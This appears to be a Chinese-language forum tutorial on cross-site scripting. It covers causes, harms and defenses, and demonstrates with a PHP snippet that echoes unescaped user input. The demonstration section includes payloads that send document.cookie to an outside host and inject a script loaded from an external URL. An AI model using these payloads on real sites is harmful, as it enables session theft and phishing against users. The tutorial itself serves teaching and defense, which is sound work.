它指的是惡意攻擊者往Web里面插入惡意的html代碼,當(dāng)用戶瀏覽該頁(yè)面時(shí),嵌入其中的html代碼會(huì)被執(zhí)行,從而達(dá)到惡意用戶的特殊目的。
XSS屬于被動(dòng)式的攻擊,因?yàn)槠浔粍?dòng)且不好被利用,所以許多人常常忽略其危害性。
【漏洞成因】
1、 CGi程序沒(méi)有對(duì)用戶提交的輸入數(shù)據(jù)進(jìn)行驗(yàn)證,沒(méi)有對(duì)對(duì)其中的的HTML代碼進(jìn)行過(guò)濾或者轉(zhuǎn)換
2、 沒(méi)有對(duì)包含不可信用戶輸入數(shù)據(jù)的輸出進(jìn)行編碼
【漏洞危害】
1、 獲取其它用戶Cookie信息
2、 修改、偽造頁(yè)面信息,進(jìn)行釣魚(yú)攻擊等
3、 其它
【原理演示】
1、 在頁(yè)面http://192.168.1.105/index.php
可以注冊(cè)或者登錄用戶,當(dāng)用戶填寫(xiě)注冊(cè)后,在頁(yè)面login.php中顯示歡迎信息。
后臺(tái)代碼沒(méi)有對(duì)用戶信息進(jìn)行任何的過(guò)濾、編碼或者轉(zhuǎn)換。
if($_GET["user"])
{
echo "Register new member:".$_GET["user"];
}
那么,這里就存在XSS漏洞,當(dāng)我們?cè)?/span>user文本框中嵌入javascript腳本,那么在歡迎網(wǎng)頁(yè)中運(yùn)行這段腳本如下:
<script>alert(“XSS”);</script>
運(yùn)用這個(gè)原理,那么我們?cè)?span lang="EN-US">user文本框中輸入下面的腳本:
<script>window.open("http://www.notfound.org/info.php?document.cookie")</script>
在IE6、IE9中自動(dòng)打開(kāi)www.notfound.org網(wǎng)頁(yè)。
而在chrome12中,則不會(huì)出現(xiàn)問(wèn)題,chrome12自動(dòng)將用戶輸入進(jìn)行了編碼,如下:
基于上面的原理,對(duì)于一些對(duì)輸入數(shù)據(jù)長(zhǎng)度進(jìn)行限制的文本框,我們不方便寫(xiě)入過(guò)長(zhǎng)的內(nèi)容,可以在輸入框內(nèi)是引入一個(gè)外部的javascript腳本。動(dòng)態(tài)創(chuàng)建一個(gè)script標(biāo)記,代碼如下:
<TABLE BACKGROUND=
javascript: s=document.createElement("script");s.src="http://xxx.com/xss.js";document.body.appendChild(s);>
而在沒(méi)有有過(guò)濾的網(wǎng)站,將在展示的時(shí)候自動(dòng)運(yùn)行這個(gè)腳本。
通過(guò)這個(gè)原理,我們可以改變網(wǎng)頁(yè)的Dom結(jié)構(gòu),css樣式是網(wǎng)頁(yè)面目全非,或者是進(jìn)行釣魚(yú)攻擊。獲得用戶的password等敏感信息。當(dāng)然這些需要更加精細(xì)的偽裝。
【解決方法】
要避免受到跨站腳本執(zhí)行漏洞的攻擊,需要程序員和用戶兩方面共同努力:
程序員:
1. 過(guò)濾或轉(zhuǎn)換用戶提交數(shù)據(jù)中的HTML代碼,一切用戶提交的數(shù)據(jù)都是不可靠的。 首先代碼里對(duì)用戶輸入的地方和變量都需要仔細(xì)檢查長(zhǎng)度和對(duì)”<”,”>”,”;”,”’”等字符做過(guò)濾;
2. 對(duì)網(wǎng)頁(yè)的輸出接口進(jìn)行編碼。任何內(nèi)容寫(xiě)到頁(yè)面之前都必須加以encode,避免不小心把html tag 弄出來(lái)。這一個(gè)層面做好,至少可以堵住超過(guò)一半的XSS 攻擊。
3.在cgi程序進(jìn)行發(fā)布前,對(duì)網(wǎng)頁(yè)進(jìn)行XSS、CSRF檢測(cè)
4. Cookie 防盜
首先,避免直接在cookie 中泄露用戶隱私,例如email、密碼等等。
其次,通過(guò)使cookie 和系統(tǒng)ip 綁定來(lái)降低cookie 泄露后的危險(xiǎn)。這樣攻擊者得到的cookie 沒(méi)有實(shí)際價(jià)值,不可能拿來(lái)重放。
5. 盡量采用POST 而非GET 提交表單
POST 操作不可能繞開(kāi)javascript 的使用,這會(huì)給攻擊者增加難度,減少可利用的跨站漏洞。
6. 嚴(yán)格檢查refer
檢查http refer 是否來(lái)自預(yù)料中的url。
用戶:
1. 不要輕易訪問(wèn)別人給你的鏈接
2. 禁止瀏覽器運(yùn)行JavaScript和ActiveX代碼
3. 升級(jí)到最新的瀏覽器版本。
參考:
XSS攻擊詳解
http://wenku.baidu.com/view/73eaee8271fe910ef12df886.html
XSS跨站腳本攻擊原理:
http://yfyfj.blog.163.com/blog/static/1542478420112332114150/
Microsoft Anti-Cross Site Scripting Library V1.5: Protecting the Contoso Bookmark Page:
http://msdn.microsoft.com/en-us/library/aa973813.aspx
XSS攻擊原理與方法
http://blog.sina.com.cn/s/blog_51b6521b0100io5r.html
歡迎光臨 Chinaunix (http://www.72891.cn/) | Powered by Discuz! X3.2 |